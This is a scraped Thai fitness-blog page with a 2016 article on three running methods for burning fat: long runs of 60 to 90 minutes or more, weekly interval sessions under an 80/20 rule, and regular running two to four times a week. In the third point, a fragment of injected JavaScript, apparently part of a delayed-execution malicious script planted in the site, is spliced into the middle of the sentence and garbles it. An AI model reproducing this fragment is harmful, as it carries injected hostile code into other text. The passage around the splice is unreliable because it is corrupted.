• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

3 ways to run your fat off : 3 วิธีวิ่งสลายไขมัน

stepextra by stepextra
9 November 2016
in Feature, Running Tips, Tips & Technics
0
7 กฎเหล็กป้องกันอาการบาดเจ็บจากการวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เพื่อให้การวิ่งของคุณสลายไขมันได้ดียิ่งขึ้น เราขอเสนอ 3 วิธีวิ่งสลายไขมัน ที่นิยมใช้กันมาเเนะนำ ได้เเก่….

1. วิ่ง Long run ยิ่งวิ่งนาน ร่างกายก็ยิ่งใช้พลังงานเยอะขึ้น เเต่ไม่ได้หมายความว่าจดึงไขมันมาใช้อย่างเดียว เราแนะนำว่า เวลาวิ่งให้ใช้เวลาให้มากกว่า 90 นาทีขึ้นไป เพราะร่างกายจะเริ่มปรับตัว ดึงไขมันมาใช้เป็นพลังงาน ดังนั้นในการฝึกวิ่ง 1 สัปดาห์ ควรมีวันวิ่งยาว (Lomg run) อยู่ในเมนูฝึกด้วย

man-1245658_640

จากการศึกษาพบว่า (active.com) คนที่อออกกำลังกายกินระยะเวลา กลางไปถึงนาน ระบบเมตาบอลิซึ่มร่างกายจะกลับตัวเข้าสู่สภาวะปกติก่อนออกกำลังกายได้ช้า ทำให้มีอัตราเผาผลาญพลังงานต่อไปอีก หรือมี After-burn เเม้หยุดออกกำลังกายเเล้ว ร่างกายยังเผาพลังงานต่อไปอีก มากกว่าคนที่ออกกำลังกาย 30-45 นาที อีกนะ ดังนั้นเวลาออกวิ่งในเเต่ละครั้งลองตั้งเป้าให้ใช้เวลามากกว่า 60 นาทีดู จะได้มี after-burn เยอะๆ

2. เพิ่มความเข้มข้น (Intensity) นอกเหนือจากการวิ่ง Long run ธรรมดาเเล้ว ก็มีการวิ่งเเบบ Intensity นี้ละครับที่จะช่วยระเบิดพลังไขมันได้ดี จำนวนครั้งที่เเนะนำคือ 1-2 ครั้งต่อสัปดาห์ ตัวอย่างเช่น….

  • Warm up 10-15 นาที
  • วิ่งเร็ว ใส่พลังระดับ 9/10 (กะเอาเองนะ) ใช้เวลา 30-60 วินาทีก็พอ
  • วิ่งช้าอีกครั้งเพื่อผ่อนเครื่องให้ร่างกายได้พัก 1 นาที
  • ทำซ้ำอีก 5 ครั้ง
  • Cool down อีก 2-3 นาที

การฝึกวิ่งแบบ Intensity จะช่วยให้ร่างกายหลั่งสาร Growth Hormone ช่วยในการเผาผลาญไขมันและสร้างกล้ามเนื้อ การฝึกแบบ Intensity ยังจะช่วยลดอาการหิว อาหารอยากกินนู้นกินนี้ ได้ในระดับหนึ่งเหมือนกัน (เหนื่อยจนไม่อยากกินว่านั้น)

การฝึกวิ่งเเบบ Intensity เเนะนำให้ใช้กฏ 80/20% คือการซ้อมวิ่งธรรมดา 80% และเเบบ intensity /20% การซ้อมหากมากเกินไป เดียวกลายเป็นร่างกายจะกักไขมันสำรองเอาไว้ใช้เเทน

sports-853989_640

3. สิ่งสำคัญนอกเหนือจากการวิ่ง Long run เเละวิ่งเเบบ Intensify คือความต่อเนื่องและบ่อยเเค่ไหน (consistency andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and frequency) เราวิ่งบ่อยเเค่ไหนใน 1 สัปดาห์ หรือคุณยัง วิ่งๆ หยุดๆ อย่างน้อยก็ควรวิ่ง 2-4 ครั้งต่อสัปดาห์

การวิ่งบ่อยๆ ทำให้การไหลเวียนเลือด การทำงานหัวใจและปอดดีขึ้น ช่วยกระตุ้นให้ร่างกายเผาผลาญเเคลอรี่มากขึ้น ขณะทีการออกกำลังกายอย่างต่อเนื่องจะช่วยให้ร่างกายมีความเสี่ยงต่ออาการบาดเจ็บน้อยลง ทำให้มีการพัฒนาร่างกายอย่างต่อเนื่อง

สุดท้ายนี้ก็ขอเตือนเรื่องกินไว้ด้วย ไม่ใช่ว่าวิ่งเเล้วจะกินอะไรก็ได้ วิ่งเเละควบคุมปริมาณอาหาร เลือกกินเเต่สิ่งดีๆ ลดน้ำตาลให้น้อยลงเเล้วร่างกายจะเริ่มเปลี่ยนเเปลงไปเอง…ถ้าถามว่านานไหมกว่าจะผอม? ผู้เขียนก็ขอตอบว่า ระยะเวลาที่เรากินจนอ้วนนานเท่าไหร ระยะเวลากว่าจะผอมลงก็จะนานเท่ากันครับ..ฟังเเล้วดูมีกำลังใจขึ้นไหม (อุอุ ^^)

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • เล่นวินด์เซิร์ฟ นั่งชิลริมทะเล ตกเย็น ปาร์ตี้ปิ้งย่าง นอนรถบ้าน ณ tutu beach ริมหาดจอมเทียนพัทยา จ.ชลบุรี

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.